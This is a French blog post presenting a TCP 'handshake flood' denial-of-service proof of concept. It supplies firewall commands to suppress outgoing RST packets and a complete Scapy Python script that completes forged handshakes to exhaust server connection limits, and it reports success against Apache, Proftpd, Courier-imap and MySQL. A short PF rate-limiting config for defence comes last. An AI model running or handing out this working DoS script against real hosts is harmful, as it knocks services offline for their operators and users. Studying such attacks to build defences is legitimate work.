TCP/IP DoS by Handshake Flood by cloud

Cet article parle d'une technique de DoS trouvée en bidouillant sur le principe de Sockstress qui meme si elle n'a pas réussi a atteindre le résultat escompté ( je n'ai pas dépassé les 5000 connexions simultanées :/ ) a permis d'aboutir a un DoS qui s'avère très efficace et qui marche pour tout serveur vu qu'on parle ici d'une vulnérabilité de l'implémentation de TCP/IP.

Les scripts et explications présentés dans cet article ne sont bien sur la qu'en tant que Proof of Concept et ne doivent pas etre utilisés a des fins malveillants. Je ne suis pas responsable des conséquences d'une mauvaise utilisation de ceux ci.

Bon maintenant qu'on est pret, on attaque.

Rappel sur les principes de TCP/IP
Je vais le faire rapide car de très bons sites expliquent TCP/IP mieux que moi.

En gros TCP/IP est un protocole de communication en mode connecté. Pour réaliser cela, il y a une phase de "handshake" ou les serveurs vont comme se saluer, puis une phase d'envoi de données et enfin une fermeture de connexion. C'est ici la 1ere phase qui va nous intéresser.

Cette phase de connexion est simple. Le client envoi un SYN avec un numéro de séquence x, le serveur renvoi SYN/ACK avec un ack qui est égal a x + 1 et un nouveau numéro de séquence et le client renvoi alors un ACK avec ce numéro de séquence + 1. Voici un schéma résumant cette phase :


C'est typiquement cela qui est fait lors d'un connect() en C.

Attaques TCP/IP par SYN Flood
Il existe de nombreuses attaques TCP/IP. Celles ci sont convoitées car dépendent du protocole lui meme et ne sont donc corrigeables qu'avec des "bidouilles". On a par exemple l'attaque assez connu par SYN Flood. Cette attaque est simple : elle consiste à envoyer une grosse quantité de paquets SYN afin de surcharger le serveur qui finira par ne plus accepter de connexion.
Pour remédier a ca, il a été mis en place le principe de Syncookie ou le paquet n'entre dans la queue qu'une fois la connexion créée ou encore les Synproxy. Pour plus d'info, google :)

Attaques TCP/IP par Handshake Flood
On constate donc que le SYN Flood a beaucoup moins d'impact car les correctifs sont fournis dans les configurations de bases des équipements et des OS.
Imaginons maintenant que nous puissions créer une connexion sans rien stocker dans la pile TCP/IP. Pour cela il faudrait arriver a prévoir le numéro de séquence a renvoyer, chose qui a été faite a cause d'un random() foireux, ou alors en forgeant soi meme son paquet en écoutant ce qui arrive, solution que l'on va retenir.

Prérequis
Comme nous allons forger nos paquets et les envoyer en userland pour ne pas intéragir avec la pile TCP/IP, le système va recevoir des paquets de retour qu'il ne connaitra pas et va renvoyer des RST pour mettre fin aux connexions. Il va donc falloir commencer par configurer notre firewall pour bloquer les RST. Ceci peut etre fait avec les commandes suivantes :
Avec Iptables
iptables -A OUTPUT -o eth0 -p tcp --tcp-flags RST RST -j DROP
Avec PF (en remplacant ath0 par son interface)
block out on ath0 proto tcp from any to any flags R/R
Le script tournera ici sous Linux car le script crash sous FreeBSD à cause d'une lib Scapy qui semble bloquée (libnet foireuse ?).

Principe
Mon script se base sur Scapy qui permet de manipuler aisément des paquets. Voici le principe :
Je vais lancer 2 thread.
-Le 1er sniffe le traffic de ma carte réseau avec un filtre sur le port et l'ip que l'on attaque.
-le 2e envoi des SYN en boucle avec un numéro de séquence = au numéro client du port d'envoi.

Le 1er thread va donc voir arriver des SYN/ACK et va alors renvoyer un ACK avec un numéro de ack = num de séquence + 1 recu et un numéro de séquence équivalent au numéro de ack + 1 ainsi qu'en port source, le port de destination recu. Ainsi nous allons établir des connexions sans rien stocker dans notre pile coté client, donc ca ne coute qu'au serveur. On obtiendra quelque chose du genre :
(21:41:34 cloud /usr/home/cloud) 0 $ sudo netstat -an | grep ESTA
tcp4       0      0 192.168.0.10.80        192.168.0.14.406       ESTABLISHED
tcp4       0      0 192.168.0.10.80        192.168.0.14.407       ESTABLISHED
tcp4       0      0 192.168.0.10.80        192.168.0.14.408       ESTABLISHED
tcp4       0      0 192.168.0.10.80        192.168.0.14.409       ESTABLISHED
tcp4       0      0 192.168.0.10.80        192.168.0.14.410       ESTABLISHED
tcp4       0      0 192.168.0.10.80        192.168.0.14.411       ESTABLISHED
tcp4       0      0 192.168.0.10.80        192.168.0.14.412       ESTABLISHED
tcp4       0      0 192.168.0.10.80        192.168.0.14.413       ESTABLISHED
tcp4       0      0 192.168.0.10.80        192.168.0.14.414       ESTABLISHED

Le script
Le PoC (sous linux) qui appelle Scapy :
#!/usr/bin/env python

from scapy import *
import threading, sys
import pprint

try:
        print "TCP/IP DoS HandShake Flood PoC by cloud : http://blog.madpowah.org"
        hostname = sys.argv[1]
        dport = sys.argv[2]
        nbsyn = int(sys.argv[3])
        network = sys.argv[4]

except:
        print "Utilisation: ./handshake.py    "
        print "Exemple: ./handshake.py 192.168.0.1 80 65000 eth0"
        sys.exit(1)


def sendSyns():
        print ">> Sending SYN ..."
        sport = 6000

        while sport < 6000 + nbsyn:
                send(IP(dst=hostname,ttl=255)/ TCP(flags="S", sport=sport,dport=int(dport), seq=sport), verbose=0)
                sport += 1

def startSniff():
    print ">> Start sniff ..."
    nbcount = nbsyn*10
    filterport = "port " + dport
    sniff(iface=network,filter=filterport, prn=lambda x: getNumSeq(x), count=nbcount)

def getNumSeq(packet):
	
       	flag = packet.getlayer('TCP').flags
      	if flag == 18:
		numseq = packet.getlayer('TCP').ack
		numack = packet.getlayer('TCP').seq + 1
		srcport = packet.getlayer('TCP').dport
                send(IP(dst=hostname,ttl=255) / TCP(flags="A", sport=srcport, dport=int(dport), seq=numseq, 
ack=numack), verbose=0)
                print "ACK %d" % (numseq)

t1 = threading.Thread(target = startSniff, args = ())
t2 = threading.Thread(target = sendSyns, args = ())

t1.start()
t2.start()

Au bout de quelques secondes on se retrouve avec un beau : Connexion Interrupted sur Apache vu que le nombre maximum de connexions simultanées est atteint.



Impact
Script testé avec succès sur Apache, Proftpd, Courrier-imap, Mysql avec ou sans l'option syncookie d'activée.
Un grand résistant : Lighttpd

Correctif
Il est bien sur possible de se protéger de cela via des règles de firewall ou avec un serveur assez puissant (ou Haute Dispo) :)

Exemple de config pour PF pour s'en protéger (quoi y a d'autres fw ?):
table <antidos> persist
block in quick from <antidos>
pass in quick on $external inet proto tcp from any to any flags S/SA keep
state ( max-src-conn-rate 2/10, overload <antidos> flush global)


Conclusion
TCP n'a jamais été concu pour faire de la sécu et on voit le résultat :)